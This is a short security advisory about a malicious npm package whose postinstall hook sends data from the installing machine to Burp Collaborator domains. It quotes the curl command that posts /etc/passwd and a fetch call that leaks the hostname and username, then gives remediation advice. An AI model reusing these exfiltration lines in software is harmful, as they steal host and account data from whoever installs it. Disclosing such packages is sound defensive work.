Details
On `npm install`, the package's postinstall hook runs two exfiltration paths against an attacker-controlled Burp Collaborator endpoint. First, package.json line 4 invokes `/usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, posting the installer's `/etc/passwd` to a DNS-logging subdomain that encodes the victim's hostname. Second, scripts/scream3gg.js reads `os.hostname()`, `os.homedir()`, and `os.userInfo().username`, hex-encodes them, and issues `fetch('http://' + safeData + '.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com')`, leaking host identifiers via DNS+HTTP. Both paths fire automatically on default install with no opt-in.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
